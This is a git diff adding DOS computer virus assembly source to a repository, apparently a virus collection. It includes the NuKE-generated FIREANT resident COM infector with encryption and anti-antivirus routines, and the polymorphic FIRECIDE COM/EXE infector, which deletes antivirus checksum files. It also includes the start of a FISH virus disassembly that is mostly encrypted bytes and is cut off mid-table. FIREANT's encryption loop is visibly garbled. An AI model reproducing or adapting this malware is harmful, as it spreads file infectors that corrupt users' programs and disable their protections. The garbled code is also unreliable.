+ push ds + push es + push bp + + mov ah,2Fh + call int21 + + mov ax,word ptr es:[bx+16h] + mov ah,1Eh + and al,1Fh + cmp al,ah + jne done_stealthing_handle + + cmp word es:[bx+1Ah+2],0 + jne done_stealthing_handle + mov ax,word es:[bx+1Ah] + sub ax,(offset total)-100h + jc done_stealthing_handle + mov word es:[bx+1Ah],ax + +done_stealthing_handle: + pop bp + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf + ret + +stealth_dir_fcb: + pushf + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + push bp + + mov ah,2Fh + call int21 + +; mov es,ds +; mov bx,dx + + mov ax,word ptr es:[bx+14+10h] ;16h] + mov ah,30 ;1Eh + and al,31 ;1Fh + cmp al,ah + jne done_stealthing_fcb + + cmp word es:[bx+22+10h],0 ;+10h+2],0 + jne done_stealthing_fcb + + mov ax,word es:[bx+20+10h] ;+10h] + sub ax,(offset total)-100h + jc done_stealthing_fcb + mov word es:[bx+20+10h],ax + +done_stealthing_fcb: + pop bp + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf + ret + + + + +init: +cli +push cs +push cs +pop ds +pop es + +mov ax,3521h +int 21h +mov word ptr old_int_21[0],bx +mov word ptr old_int_21[2],es +mov dx,offset new_int_21 +mov ax,2521h +int 21h +sti + +retf +fcb_to_asciiz: +pushf +push ax +push cx +push si +push di +push es + +push cs +pop es +mov di,offset file + +cld +mov si,dx ;fcb_start +lodsb +cmp al,0 +je fcb_in_current_dir + +add al,'A' +stosb +mov al,':' +stosb +jmp anyway + +fcb_in_current_dir: +inc si + +anyway: +mov si,dx +inc si +mov cx,8 +fcb_file_name_xfer: +lodsb +cmp al,' ' +je fcb_done_1 +stosb +loop fcb_file_name_xfer + +fcb_done_1: +mov al,'.' +stosb + +mov si,dx ;fcb_start +add si,1+8 +mov cx,3 +fcb_file_ext_xfer: +lodsb +cmp al,' ' +je fcb_done_2 +stosb +loop fcb_file_ext_xfer + +fcb_done_2: +mov al,0 +stosb + +pop es +pop di +pop si +pop cx +pop ax +popf +ret + + +size dw (offset total)-100h +db 'J4J' + +total: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/f/FIREANT.ASM b/f/FIREANT.ASM new file mode 100755 index 0000000..28a53ce --- /dev/null +++ b/f/FIREANT.ASM @@ -0,0 +1,438 @@ +;Ŀ +; THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. [NuKE] PoWeR +; CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN [NuKE] WaReZ +; auToR: aLL [NuKE] MeMeBeRS [NuKE] PoWeR +; [NuKE] THe ReaL PoWeR! [NuKE] WaReZ +; NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 [NuKE] PoWeR +; + +.286 +code segment +assume cs:code,ds:code +org 100h + +start: CALL NEXT + +NEXT: + mov di,sp ;take the stack pointer location + mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus + sub bp,offset next ;subtract the large code off this code + ; +;******************************************************************* +; #1 DECRYPT ROUTINE +;******************************************************************* + +cmp byte ptr cs:[crypt],0b9h ;is the first runnig? +je crypt2 ;yes! not decrypt +;---------------------------------------------------------- +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt]+ bp ;di = first byte to decrypt +mov dx,1 ;dx = value for decrypt +;---------------------------------------------------------- +deci: ;deci = fuck label! +;---------------------------------------------------------- + +xor word ptr [di],0e3ddh +xor word ptr [di],0dddbh +inc word ptr [di] +add byte ptr [di],059h +inc word ptr [di] +inc word ptr [di] +add word ptr [di],0b6bh +inc word ptr [di] +sub word ptr [di],01654h +sub word ptr [di],077c2h +sub byte ptr [di],05dh +not word ptr [di] +sub byte ptr [di],0c4h +xor word ptr [di],09e43h +inc word ptr [di] +inc word ptr [di] +not byte ptr [di] +inc di +inc di +;---------------------------------------------------------- +jmp bye ;######## BYE BYE F-PROT ! ########## +mov ah,4ch +int 21h +bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!### +;----------------------------------------------------------- +mov ah,0bh ;######### BYE BYE TBAV ! ########## +int 21h ;### (CANGE INT AT YOU PLEASURE) ### +;---------------------------------------------------------- +loop deci ;repeat please! + ; +;***************************************************************** +; #2 DECRYPT ROUTINE +;***************************************************************** + ; +crypt: ;fuck label! + ; +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt2] + bp ;di = first byte to decrypt +;--------------------------------------------------------------- +deci2: ; +xor byte ptr cs:[di],1 ;decrytion rutine +inc di ;very simple... +loop deci2 ; +;--------------------------------------------------------------- +crypt2: ;fuck label! + ; +MOV AX,0CACAH ;call to my resident interrup mask +INT 21H ;for chek "I'm is residet?" +CMP Bh,0CAH ;is equal to CACA? +JE PUM2 ;yes! jump to runnig program +call action +;***************************************************************** +; NRLG FUNCTIONS (SELECTABLE) +;***************************************************************** + +call ANTI_V +;**************************************************************** +; PROCESS TO REMAIN RESIDENT +;**************************************************************** + +mov ax,3521h +int 21h ;store the int 21 vectors +mov word ptr [bp+int21],bx ;in cs:int21 +mov word ptr [bp+int21+2],es ; +;--------------------------------------------------------------- +push cs ; +pop ax ;ax = my actual segment +dec ax ;dec my segment for look my MCB +mov es,ax ; +mov bx,es:[3] ;read the #3 byte of my MCB =total used memory +;--------------------------------------------------------------- +push cs ; +pop es ; +sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus +sub bx,17 + offset fin ;and 100H for the PSP total +mov ah,4ah ;used memory +int 21h ;put the new value to MCB +;--------------------------------------------------------------- +mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin +mov ah,48h ; +int 21h ;request the memory to fuck DOS! +;--------------------------------------------------------------- +dec ax ;ax=new segment +mov es,ax ;ax-1= new segment MCB +mov byte ptr es:[1],8 ;put '8' in the segment +;-------------------------------------------------------------- +inc ax ; +mov es,ax ;es = new segment +lea si,[bp + offset start] ;si = start of virus +mov di,100h ;di = 100H (psp position) +mov cx,offset fin - start ;cx = lag of virus +push cs ; +pop ds ;ds = cs +cld ;mov the code +rep movsb ;ds:si >> es:di +;-------------------------------------------------------------- +mov dx,offset virus ;dx = new int21 handler +mov ax,2521h ; +push es ; +pop ds ; +int 21h ;set the vectors +;------------------------------------------------------------- +pum2: ; + ; +mov ah,byte ptr [cs:bp + real] ;restore the 3 +mov byte ptr cs:[100h],ah ;first bytes +mov ax,word ptr [cs:bp + real + 1] ; +mov word ptr cs:[101h],ax ; +;------------------------------------------------------------- +mov ax,100h ; +jmp ax ;jmp to execute + ; +;***************************************************************** +;* HANDLER FOR THE INT 21H +;***************************************************************** + ; +VIRUS: ; + ; +cmp ah,4bh ;is a 4b function? +je REPRODUCCION ;yes! jump to reproduce ! +cmp ah,11h +je dir +cmp ah,12h +je dir +dirsal: +cmp AX,0CACAH ;is ... a caca function? (resident chek) +jne a3 ;no! jump to a3 +mov bh,0cah ;yes! put ca in bh +a3: ; +JMP dword ptr CS:[INT21] ;jmp to original int 21h +ret ; +make db '[NuKE] N.R.L.G. AZRAEL' +dir: +jmp dir_s +;------------------------------------------------------------- +REPRODUCCION: ; + ; +pushf ;put the register +pusha ;in the stack +push si ; +push di ; +push bp ; +push es ; +push ds ; +;------------------------------------------------------------- +push cs ; +pop ds ; +mov ax,3524H ;get the dos error control +int 21h ;interupt +mov word ptr error,es ;and put in cs:error +mov word ptr error+2,bx ; +mov ax,2524H ;change the dos error control +mov dx,offset all ;for my "trap mask" +int 21h ; +;------------------------------------------------------------- +pop ds ; +pop es ;restore the registers +pop bp ; +pop di ; +pop si ; +popa ; +popf ; +;------------------------------------------------------------- +pushf ;put the registers +pusha ; +push si ;HEY! AZRAEL IS CRAZY? +push di ;PUSH, POP, PUSH, POP +push bp ;PLEEEEEAAAAAASEEEEEEEEE +push es ;PURIFY THIS SHIT! +push ds ; +;------------------------------------------------------------- +mov ax,4300h ; +int 21h ;get the file +mov word ptr cs:[attrib],cx ;atributes +;------------------------------------------------------------- +mov ax,4301h ;le saco los atributos al +xor cx,cx ;file +int 21h ; +;------------------------------------------------------------- +mov ax,3d02h ;open the file +int 21h ;for read/write +mov bx,ax ;bx=handle +;------------------------------------------------------------- +mov ax,5700h ; +int 21h ;get the file date +mov word ptr cs:[hora],cx ;put the hour +mov word ptr cs:[dia],dx ;put the day +and cx,word ptr cs:[fecha] ;calculate the seconds +cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX) +jne seguir ;yes! the file is infected! +jmp cerrar ; +;------------------------------------------------------------ +seguir: ; +mov ax,4202h ;move the pointer to end +call movedor ;of the file +;------------------------------------------------------------ +push cs ; +pop ds ; +sub ax,3 ;calculate the +mov word ptr [cs:largo],ax ;jmp long +;------------------------------------------------------------- +mov ax,04200h ;move the pointer to +call movedor ;start of file +;---------------------------------------------------------- +push cs ; +pop ds ;read the 3 first bytes +mov ah,3fh ; +mov cx,3 ; +lea dx,[cs:real] ;put the bytes in cs:[real] +int 21h ; +;---------------------------------------------------------- +cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ? +jne er1 ;yes! is a EXE... fuckkk! +;---------------------------------------------------------- +jmp cerrar +er1: +;---------------------------------------------------------- +mov ax,4200h ;move the pointer +call movedor ;to start fo file +;---------------------------------------------------------- +push cs ; +pop ds ; +mov ah,40h ; +mov cx,1 ;write the JMP +lea dx,[cs:jump] ;instruccion in the +int 21h ;fist byte of the file +;---------------------------------------------------------- +mov ah,40h ;write the value of jmp +mov cx,2 ;in the file +lea dx,[cs:largo] ; +int 21h ; +;---------------------------------------------------------- +mov ax,04202h ;move the pointer to +call movedor ;end of file +;---------------------------------------------------------- +push cs ; +pop ds ;move the code +push cs ;of my virus +pop es ;to cs:end+50 +cld ;for encrypt +mov si,100h ; +mov di,offset fin + 50 ; +mov cx,offset fin - 100h ; +rep movsb ; +;---------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus +enc: ; +xor byte ptr cs:[di],1 ;encrypt the virus +inc di ;code rd ptr [di],0b6bh +dec word ptr [di] +dec word ptr [di] +sub byte ptr [di],059h +dec word ptr [di] +xor word ptr [di],0dddbh +xor word ptr [di],0e3ddh +inc di +inc di ;the virus code +loop enc2 ; +;-------------------------------------------- +mov ah,40h ; +mov cx,offset fin - offset start ;copy the virus +mov dx,offset fin + 50 ;to end of file +int 21h ; +;---------------------------------------------------------- +cerrar: ; + ;restore the +mov ax,5701h ;date and time +mov cx,word ptr cs:[hora] ;file +mov dx,word ptr cs:[dia] ; +or cx,word ptr cs:[fecha] ;and mark the seconds +int 21h ; +;---------------------------------------------------------- +mov ah,3eh ; +int 21h ;close the file +;---------------------------------------------------------- +pop ds ; +pop es ;restore the +pop bp ;registers +pop di ; +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +pusha ; + ; +mov ax,4301h ;restores the atributes +mov cx,word ptr cs:[attrib] ;of the file +int 21h ; + ; +popa ; +;---------------------------------------------------------- +pushf ; +pusha ; 8-( = f-prot +push si ; +push di ; 8-( = tbav +push bp ; +push es ; 8-) = I'm +push ds ; +;---------------------------------------------------------- +mov ax,2524H ; +lea bx,error ;restore the +mov ds,bx ;errors handler +lea bx,error+2 ; +int 21h ; +;---------------------------------------------------------- +pop ds ; +pop es ; +pop bp ;restore the +pop di ;resgisters +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +JMP A3 ;jmp to orig. INT 21 + ; +;********************************************************** +; SUBRUTINES AREA +;********************************************************** + ; +movedor: ; + ; +xor cx,cx ;use to move file pointer +xor dx,dx ; +int 21h ; +ret ; +;---------------------------------------------------------- +all: ; + ; +XOR AL,AL ;use to set +iret ;error flag + +;*********************************************************** +; DATA AREA +;*********************************************************** +largo dw ? +jump db 0e9h +real db 0cdh,20h,0 +hora dw ? +dia dw ? +attrib dw ? +int21 dd ? +error dd ? + +;------------------------ +action: ;Nothing Action! +NOP ;only replicate +ret ;Return to call +;------------------------ + +;--------------------------------- +ANTI_V: ; +MOV AX,0FA01H ;REMOVE VSAFE FROM MEMORY +MOV DX,5945H ; +INT 21H ; +ret ; +;--------------------------------- + +;***************************************************** +dir_s: + pushf + push cs + call a3 ;Get file Stats + test al,al ;Good FCB? + jnz no_good ;nope + push ax + push bx + push es + mov ah,51h ;Is this Undocmented? huh... + int 21h + mov es,bx + cmp bx,es:[16h] + jnz not_infected + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh ;Get file DTA + int 21h + pop ax + inc al + jnz fcb_okay + add bx,7h +fcb_okay: mov ax,es:[bx+17h] + and ax,1fh ;UnMask Seconds Field + xor al,byte ptr cs:fechad + jnz not_infected + and byte ptr es:[bx+17h],0e0h + sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size + sbb es:[bx+1fh],ax +not_infected:pop es + pop bx + pop ax +no_good: iret +;******************************************************************** +; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX +;********************************************************************* + +action_dia Db 020H ;day for the action +action_mes Db 0dH ;month for the action +FECHA DW 01eH ;Secon for mark +FECHAd Db 01eH ;Secon for mark dir st +fin: +code ends +end start diff --git a/f/FIRECIDE.ASM b/f/FIRECIDE.ASM new file mode 100755 index 0000000..b87bac7 --- /dev/null +++ b/f/FIRECIDE.ASM @@ -0,0 +1,382 @@ + +; - +; Firecide u2 - (c)1995 irogen - Using iCE v0.2 +; - +; +; Infects COM and EXE when executed. +; COM Infection marker: fourth byte is 0 +; EXE infection marker: Checksum in header not equal to 0. +; Time/Date do not change +; Read-only and hidden files will be infected, and attributes restored. +; Virus installs its own critical error handler +; Deletes MSAV,CPAV checksum filez +; Call ViCE with JMPs OFF, Anti-TBSCAN On, and Garbage On +; + +cseg segment + assume cs:cseg, ds:cseg, es:cseg, ss:cseg + +signal equ 0FA01h ; AX=signal/INT 21h/installation chk +vsafe_word equ 5945h ; magic word for VSAFE/VWATCH API +act_day equ 1 +buf_size equ 170 +vice_size equ 1587+buf_size +virus_size equ (offset vend-offset start)+VICE_SIZE +extrn _vice:near + +org 0h +start: + + call nx ; get relative offset + nx: pop bp + sub bp,offset nx + + push ds es + inc si + mov ax,signal ; are we memory resident? + mov dx,vsafe_word + int 21h + or si,si + jz no_install ; if carry then we are + + mov cs:activate[bp],0 + mov ah,2ah ; get date + int 21h + cmp dl,act_day ; + jnz no_act + mov cs:activate[bp],1 +no_act: + + mov ax,ds ; PSP segment + dec ax ; mcb below PSP m0n + mov ds,ax ; DS=MCB seg + cmp byte ptr ds: [0],'Z' ; Is this the last MCB in chain? + jnz no_install + sub word ptr ds: [3],((virus_size+1023)/1024)*64*2 ; alloc MCB + sub word ptr ds: [12h],((virus_size+1023)/1024)*64*2 ; alloc PSP + mov es,word ptr ds: [12h] ; get high mem seg + push cs + pop ds + mov si,bp + mov cx,virus_size/2+1 + xor di,di + rep movsw ; copy code to new seg + xor ax,ax + mov ds,ax ; null ds + push ds + lds ax,ds: [21h*4] ; get 21h vector + mov es: word ptr old21+2,ds ; save S:O + mov es: word ptr old21,ax + pop ds + mov ds: [21h*4+2],es ; new int 21h seg + mov ds: [21h*4],offset new21 ; new offset + sub byte ptr ds: [413h],((virus_size+1023)*2)/1024;-totalmem + + no_install: + + pop es ds ; restore ES DS + cmp cs:is_exe[bp],1 + jz exe_return + + lea si,org_bytes[bp] ; com return + mov di,0100h ; -restore first 4 bytes + mov cx,2 + rep movsw + + mov ax,100h ; jump back to 100h + push ax +_ret:ret + + exe_return: + mov cx,ds ; calc. real CS + add cx,10h + add word ptr cs:[exe_jump+2+bp],cx + int 3 ; fix prefetch + db 0eah +exe_jump dd 0 +is_exe db 0 + +; +; Infection routine - called from INT 21h handler. +; DS:DX=fname +; + +infect_file: + + push dx + pop si + + push ds + xor ax,ax ; null ES + mov es,ax + lds ax,es:[24h*4] ; get INT 24h vector + mov cs:old_24_off,ax ; save it + mov cs:old_24_seg,ds + mov es:[24h*4+2],cs ; install our handler + mov es:[24h*4],offset new_24 + pop ds + push es ; we'll need it later + push cs + pop es + + mov ax,4300h ; get phile attribute + int 21h + mov ax,4301h ; null attribs + push ax cx ; save AX-call/CX-attrib + xor cx,cx + int 21h + + mov ax,3d02h ; open the file + int 21h + jc dont_do + + mov bx,ax ; get handle + + push cs + pop ds + + mov ah,3fh ; Read first bytes of file + mov cx,20h + lea dx,org_bytes + int 21h + + call kill_chklst + + cmp byte ptr org_bytes,'M' + jz do_exe + cmp byte ptr org_bytes+3,0 + jz close + + mov is_exe,0 + + mov ax,5700h ; get time/date + int 21h + push cx dx + + call offset_end + push ax ; AX=end of file + + lea si,start ; DS:SI=start of code to encrypt + mov di,virus_size ; ES:DI=address for decryptor/ + push di ; encrypted code. (at heap) + mov cx,virus_size ; CX=virus size + mov dx,ax ; DX=EOF offset + add dx,100h ; DX=offset decryptor will run from + mov al,00000111b ; no jmps,anti-tbscan, garbage, no CS: + call _vice ; call engine! + + pop dx + mov ah,40h + int 21h + + call offset_zero + pop ax ; restore COM file size + sub ax,3 ; calculate jmp offset + mov word ptr new_jmp+1,ax + + lea dx,new_jmp + mov cx,4 + mov ah,40h + int 21h + + pop dx cx ; pop date/time + mov ax,5701h ; restore the mother fuckers + int 21h + + close: + + pop cx ax ; restore attrib + int 21h + + mov ah,3eh + int 21h + + dont_do: + pop es ; ES=0 + lds ax,dword ptr old_24_off ; restore shitty DOS error handler + mov es:[24h*4],ax + mov es:[24h*4+2],ds + + ret + + do_exe: + + cmp word ptr exe_header[12h],0 ; is checksum (in hdr) 0? + jnz close + cmp byte ptr exe_header[18h],52h ; pklite'd? + jz exe_ok + cmp byte ptr exe_header[18h],40h ; don't infect new format exe + jge close +exe_ok: + push bx + + mov ah,2ch ; grab a random number + int 21h + mov word ptr exe_header[12h],dx ; mark that it's us + mov is_exe,1 + + les ax,dword ptr exe_header+14h ; Save old entry point + mov word ptr ds:exe_jump, ax + mov word ptr ds:exe_jump+2, es + + push cs + pop es + + call offset_end + + push dx ax ; save file size DX:AX + + mov bx, word ptr exe_header+8h ; calc. new entry point + mov cl,4 ; *16 + shl bx,cl ; ^by shifting one byte + sub ax,bx ; get actual file size-header + sbb dx,0 + mov cx,10h ; divide AX/CX rDX + div cx + + mov word ptr exe_header+14h,dx + mov word ptr exe_header+16h,ax + mov rel_off,dx + + pop ax ; AX:DX file size + pop dx + pop bx + + mov cx,virus_size+10h ; calc. new size + adc ax,cx + + mov cl,9 ; calc new alloc (512) + push ax + shr ax,cl + ror dx,cl + stc + adc dx,ax + pop ax ; ax=size+virus + and ah,1 + + mov word ptr exe_header+4h,dx + mov word ptr exe_header+2h,ax + + lea si,start ; DS:SI=start of code to encrypt + mov di,virus_size ; ES:DI=address for decryptor and + push di ; encrypted code (at heap) + mov cx,virus_size ; CX=virus size + mov dx,rel_off ; DX=offset decryptor will run from + mov al,00000110b ; no jmps,anti-tbscan,garbage, use CS: + call _vice ; call engine! + + pop dx + mov ah,40h + int 21h + + call offset_zero + + mov cx,18h ; write fiXed header + lea dx,exe_header + mov ah,40h + int 21h + + jmp close + +; +; set file ptr + +offset_zero: ; self explanitory + xor al,al + jmp set_fp +offset_end: + mov al,02h + set_fp: + mov ah,42h + xor cx,cx + xor dx,dx + int 21h + ret + + +; +; Kill those darned MSAV and CPAV filez.. +; +kill_chklst: + mov di,2 ; counter for loop + lea dx,first_2die ; first fname to kill +kill_loop: + mov ax,4301h ; reset attribs + xor cx,cx + int 21h + mov ah,41h ; delete phile + int 21h + lea dx,last_2die ; second fname to kill + dec di + jnz kill_loop + + ret +first_2die db 'CHKLIST.MS',0 ; MSAV shitty checksum +last_2die db 'CHKLIST.CPS',0 ; CPAV shitty checksum + + +; +; new 21h + +new21: + + pushf + cmp ax,signal ; be it us? + jnz not_us ; richtig.. + cmp dx,vsafe_word + jnz not_us + xor si,si + mov di,4559h + jmp jmp_org +not_us: + cmp cs:activate,0 ; time to activate? + jz nchk + cmp ah,2 ; output character? + jz do_me +nchk: cmp ax,4b00h ; execute phile? + jnz jmp_org + + push ax bx cx di dx si ds es + call infect_file + pop es ds si dx di cx bx ax + + jmp_org: + popf + db 0eah ; jump far XXXX:XXXX + old21 dd 0 + +do_me: + push si + mov si,cs:txt_ptr + mov dl,byte ptr cs:[si] + inc si + cmp si,offset credit_end + jl not_there + mov si,offset credits +not_there: + mov cs:txt_ptr,si + pop si + jmp jmp_org + + +new_24: ; critical error handler + mov al,3 ; prompts suck, return fail + iret + + +activate db 0 +txt_ptr dw offset credits +credits db 'FireCide2, by irogen' +credit_end: +new_jmp db 0E9h,0,0,0 ; jmp XXXX,0 +rel_off dw 0 +exe_header: +org_bytes db 0CDh,20h,0,0 ; original COM bytes | exe hdr +heap: +db 16h dup(0) ; remaining exe header space +old_24_off dw 0 ; old int24h vector +old_24_seg dw 0 +vend: +cseg ends + end start + diff --git a/f/FISH.ASM b/f/FISH.ASM new file mode 100755 index 0000000..906b112 --- /dev/null +++ b/f/FISH.ASM @@ -0,0 +1,738 @@ + +PAGE 59,132 + +;========================================================================== +;== == +;== FISH == +;== == +;== Created: 29-Oct-90 == +;== Version: == +;== Passes: 5 Analysis Options on: AFKOPUX == +;== == +;== == +;========================================================================== + +movseg macro reg16, unused, Imm16 ; Fixup for Assembler + ifidn , + db 0BBh + endif + ifidn , + db 0B9h + endif + ifidn , + db 0BAh + endif + ifidn , + db 0BEh + endif + ifidn , + db 0BFh + endif + ifidn , + db 0BDh + endif + ifidn , + db 0BCh + endif + ifidn , + db 0BBH + endif + ifidn , + db 0B9H + endif + ifidn , + db 0BAH + endif + ifidn , + db 0BEH + endif + ifidn , + db 0BFH + endif + ifidn , + db 0BDH + endif + ifidn , + db 0BCH + endif + dw seg Imm16 +endm +DATA_1E EQU 0B3H ; (97E0:00B3=0) +DATA_5E EQU 5A2BH ; (97E0:5A2B=0) +DATA_6E EQU 5E5DH ; (97E0:5E5D=0) +DATA_7E EQU 6920H ; (97E0:6920=0) + +SEG_A SEGMENT BYTE PUBLIC + ASSUME CS:SEG_A, DS:SEG_A + + + ORG 100h + +FISH PROC FAR + +START: + JMP LOC_4 ; (0EDE) + PUSH AX + CMC ; Complement carry + SUB DX,SI + JLE $-3FH ; Jump if < or = + SUB AL,7FH + REP MOVSB ; Rep when cx >0 Mov [si] to es:[di] + POP ES + POP DS + POP DI + ADD CL,CH + RETF 0CD0DH ; Return far + AND [BX+DI+50H],BH + nop ;*ASM fixup - displacement + MOV SI,DATA_7E ; (97E0:6920=0) + JNC LOC_1 ; Jump if carry=0 + DB 'a tiny VOM p' + DB 0EBH, 7AH, 67H, 72H, 61H, 6DH + DB 00H, 9CH, 2EH,0FFH, 1EH, 35H + DB 0EH,0C3H + DB 0DH, 4EH, 42H, 49H, 23H, 82H +LOC_1: + OR SP,DI + ADD DX,DS:DATA_6E[BX+DI] ; (97E0:5E5D=0) + POP SP + POP DI + POP BX + POP DX + ADC CX,[BP+DI] + AND SI,DX + SUB SP,DI + ADD SP,[BP+DI] + OR BYTE PTR [BP+DI],0E7H + ADD CX,[BP+SI] + ADC DL,[BP+SI+53H] + PUSH DI + PUSH SP + PUSH SI + PUSH BP + NOP + AND SI,DX + SUB SP,DI + ADD BX,[BP+45H] + DEC SP + POP DI + INC SI + AND AX,DS:DATA_5E[SI] ; (97E0:5A2B=0) + ADD AH,[BP+DI] + SBB WORD PTR [BP+DI],254H + ADD BX,[BP+SI] + AND AX,[BP+562BH] + ADD AH,[BP+DI] + IN AX,0DEH ; port 0DEH + DB 0F2H, 23H, 83H, 1BH, 54H, 02H + DB 23H, 84H, 2BH, 56H, 02H, 23H + DB 86H, 2BH, 5AH, 02H,0CEH, 23H + DB 84H, 2BH, 5AH, 02H, 23H, 81H + DB 1BH, 54H, 02H, 03H, 1AH, 23H + DB 86H, 2BH, 56H, 02H, 23H,0E5H + DB 96H,0F2H, 23H, 83H, 1BH, 54H + DB 02H, 23H, 84H, 2BH, 56H, 02H + DB 23H, 86H, 2BH, 5AH, 02H,0CEH + DB 81H,0B3H, 46H, 03H, 23H,0C9H + DB 33H, 38H, 03H, 03H, 12H,0F1H + DB 0B4H + DB 8, 0DH, 0A1H, '+', 8BH, 8, 85H, 'I' + DB 0F2H, 4AH,0EFH,0FBH,0CEH, 4EH + DB 4CH, 5FH, 5DH,0BDH, 0CH, 03H + DB 12H,0B7H,0BAH, 01H,0E5H, 0CH + DB 0DH,0CEH, 0BH, 5EH, 3EH,0D6H + DB 83H,0CEH, 87H,0D5H,0DCH,0EEH + DB 0DCH,0EEH, 2BH, 84H, 1AH, 2BH + DB 81H, 52H, 0FH, 56H, 0AH,0CEH + DB 13H, 5BH, 3EH,0FBH, 83H,0D3H + DB 3FH,0E9H, 86H,0FDH,0DCH,0EBH + DB 0DCH,0EBH, 86H, 11H, 83H, 49H + DB 0FH, 53H, 12H,0CEH, 4FH, 4CH + DB 5EH, 5EH,0E5H,0BDH, 0FH,0B4H + DB 0E5H, 5BH, 07H, 83H, 23H,0AEH + DB 0EEH, 03H,0B9H, 5FH, 23H,0CAH + DB 0BH, 56H, 02H, 0DH, 1DH, 23H + DB 81H, 13H, 48H, 03H,0E5H, 8DH + DB 06H,0E6H,0C0H, 2CH, 2BH, 86H + DB 4AH,0F3H, 23H,0AEH, 4AH, 03H + DB 03H, 12H,0E5H, 3DH, 07H,0ACH + DB 0BDH, 2CH,0E5H,0BEH,0F2H, 81H + DB 0BH, 22H, 03H, 84H, 13H, 20H + DB 03H,0B7H,0BAH, 01H,0BDH, 0CH + DB 0CBH, 0BH, 5DH, 03H, 0DH,0E5H + DB 85H,0F2H, 91H, 55H, 00H, 0DH + DB 0CH, 5DH, 90H, 91H,0B9H, 6CH + DB 0F2H, 13H, 20H, 03H, 91H, 55H + DB 28H,0F2H,0F3H, 5DH, 90H,0E5H + DB 0ECH, 0CH,0AEH,0C9H, 33H, 20H + DB 03H, 81H, 0BH, 3AH, 03H,0CBH + DB 0BH, 46H, 03H,0E7H,0CAH, 0BH + DB 41H, 03H, 56H, 00H, 84H, 33H + DB 38H, 03H, 81H, 03H, 43H, 03H + DB 0E5H, 0AH, 0DH,0E5H, 2BH,0F2H + DB 0E5H, 1AH, 07H, 84H,0BDH, 22H + DB 0E5H, 56H,0F2H, 81H,0CEH, 23H + DB 34H, 13H, 4AH, 03H, 7EH, 11H + DB 0E5H, 32H, 07H, 23H, 83H, 13H + DB 22H, 03H, 23H,0F2H, 3BH, 20H + DB 03H, 57H,0BDH, 1EH,0E5H, 24H + DB 0F2H, 3EH,0D6H, 83H,0D6H,0CBH + DB 0BH, 78H, 09H, 0FH,0CEH + DB '-KD^E-[D_X^-.;- -HLNE-IDKK- -OBC' + DB 'C-?"4=-*sfcwt{bp*)' + DB 0E5H,0CFH,0F3H, 23H, 81H, 03H + DB 43H, 03H,0E5H,0B7H,0F3H, 03H + DB 12H, 13H, 0AH,0ACH, 48H, 03H + DB 83H,0CDH, 2BH,0C8H, 1BH, 07H + DB 0DH, 83H,0D5H, 08H, 1DH, 0DH + DB 23H, 0CH, 0BH, 17H, 0DH, 23H + DB 8DH, 33H, 2DH, 0DH, 0DH,0F6H + DB 78H, 29H, 23H,0ACH, 09H, 0DH + DB 0AEH, 0DH, 0CH, 23H,0ACH, 0BH + DB 0DH,0AEH, 0FH, 0CH, 23H,0ACH + DB 05H, 0DH,0AEH, 09H, 0CH, 23H + DB 0F2H, 3BH, 48H, 03H, 3EH,0CDH + DB 0F3H,0C9H, 5DH, 23H,0ACH,0EEH + DB 03H,0C6H, 23H, 0CH, 0BH, 1FH + DB 0DH, 23H,0ACH,0EEH, 03H, 23H + DB 86H, 2BH, 19H, 0DH, 23H, 83H + DB 1BH, 1FH, 0DH, 23H,0F2H, 23H + DB 15H + DB 0DH, 59H, 5FH, 42H, 58H, 59H +LOC_2: + DB 3EH,0E9H,0E5H, 0DH, 0DH, 84H + DB 0C8H, 81H,0C5H,0B6H, 1DH, 0DH + DB 0FAH,0EEH, 54H, 8CH,0E4H, 42H + DB 0FH, 0EH,0CCH, 8EH,0DFH, 0DH + DB 0FAH,0FEH, 5DH,0B5H,0F7H, 0DH + DB 5DH, 84H,0E5H,0C6H,0E5H,0C1H + DB 0DH,0C0H,0E5H, 29H, 07H,0C6H + DB 5EH, 86H,0D1H, 3BH, 86H, 52H + DB 0BH, 23H, 84H, 13H,0BEH, 03H + DB 56H, 58H, 84H,0E8H,0E5H,0DDH + DB 05H,0AEH,0E5H,0FCH,0F0H,0E5H + DB 19H,0F3H,0E5H,0CBH,0F0H,0E5H + DB 95H,0F0H,0E5H,0CDH, 05H, 85H + DB 8DH,0F1H, 02H, 78H, 09H,0E4H + DB 0E4H, 0DH,0B5H, 8DH,0F1H, 1CH + DB 78H, 09H,0E4H, 96H, 0DH,0ACH + DB 8DH,0F1H, 1FH, 78H, 09H,0E4H + DB 9FH, 0DH, 84H, 8DH,0F1H, 19H + DB 78H, 09H,0E4H, 04H, 0CH,0E6H + DB 8DH,0F1H, 2CH, 78H, 09H,0E4H + DB 0F9H, 0DH, 81H, 8DH,0F1H, 2EH + DB 78H, 09H,0E4H, 89H, 0CH,0AEH + DB 8DH,0F1H, 2AH, 78H, 09H,0E4H + DB 0EDH, 0DH,0E6H, 8DH,0F1H, 30H + DB 78H, 09H,0E4H,0CBH +DATA_3 DW 0F20CH ; Data table (indexed access) + DB 8DH,0F1H, 33H, 78H, 09H,0E4H + DB 0CH, 0FH,0ACH, 8DH,0F1H, 32H + DB 78H, 09H,0E4H, 70H, 0AH, 85H + DB 8DH,0F1H, 4FH, 78H, 09H,0E4H + DB 4FH, 0AH, 81H, 8DH,0F1H, 46H + DB 